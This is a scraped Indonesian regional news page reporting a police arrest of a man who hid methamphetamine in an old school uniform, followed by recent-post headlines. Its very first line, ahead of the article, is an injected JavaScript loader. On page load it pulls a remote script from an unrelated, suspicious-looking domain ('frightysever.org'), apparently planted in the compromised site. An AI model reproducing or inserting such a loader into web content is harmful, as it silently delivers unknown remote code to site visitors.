(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Selipkan Sabu di Bekas Seragam Sekolah, ZH Dibekuk Polisi


KANALKALIMANTAN.COM, AMUNTAI – Satuan Reserse Narkoba (Sat Resnarkoba) Polres Hulu Sungai Utara (HSU) membekuk ZH (23) yang kedapatan simpan tiga paket sabu 1,03 gram.

Pemilik gelar akademis sarjana sosial ini berhasil diamankan Sat Resnarkoba Polres HSU di rumahnya jalan Keramat RT 003 RW 002 Desa Tangga Ulin Hilir, Kecamatan Amuntai Tengah, Kabupaten HSU, Senin (19/4/2021) sekitar pukul 05.00 Wita.

Kapolres HSU AKBP Afri Darmawan, SIK MH, melalui Kasat Resnarkoba Iptu Siswadi, kepada Kanalkalimantan.com, Selasa (20/4/2021) membenarkan penangkapan terhadap pelaku ZH saat menjalankan Program HSU Bersinar (Bersih dari Narkoba)
Bermodal informasi masyarakat, pihaknya melakukan penyelidikan dan hasilnya pelaku diringkus polisi menyimpan toga paket narkotika jenis sabu dengan berat 1,03 gram -berat bersih 0,40 gram-.

Baju bekas seragam sekolah tempat menyimpan sabu. Foto: sat resnarkoba polres hsu

 

Baca juga: Janji ‘Hidupkan’ Mess L, Ganti Stadion Banjarbaru!

“Saat penggeledahan, ditemukan satu paket narkotika yang disimpan dalam kamar, tepatnya di kantong depan baju seragam bekas sekolah yang sudah penuh corat-coret milik pelaku,” jelas Kasatresnakoba Polres HSU.

Dua paket sabu lainnya ditemukan di dalam rumah, di atas lantai tepatnya dalam kotak kecil warna putih terbungkus tisu, beserta sebuah timbangan digital. Polisi juga mengamankan barang bukti lainnya, sebuah handphone android.

Baca juga: BREAKING NEWS. Kebakaran di Mawar Banjarmasin, 3 Rumah Hangus dan 1 Relawan Terluka.

Terkait asal usul barang haram tersebut, Kasat Resnarkoba Polres HSU ini mengaku masih melakukan penyelidikan lebih lanjut.
Pelaku bersama barang bukti digelandang ke ruangan Sat Resnarkoba Polres HSU guna proses penyidikan lebih lanjut sesuai dalam pasal 114 ayat 1 atau 112 ayat 1 UU RI Nomor 35 tahun 2009 tentang narkotika. (kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Al Ghifari

Recent Posts

Ada Panel Surya 3.000 Watt di SMPN 11 Banjarbaru

Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More

2 jam ago

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

4 jam ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

4 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

7 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

7 jam ago

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

9 jam ago

This website uses cookies.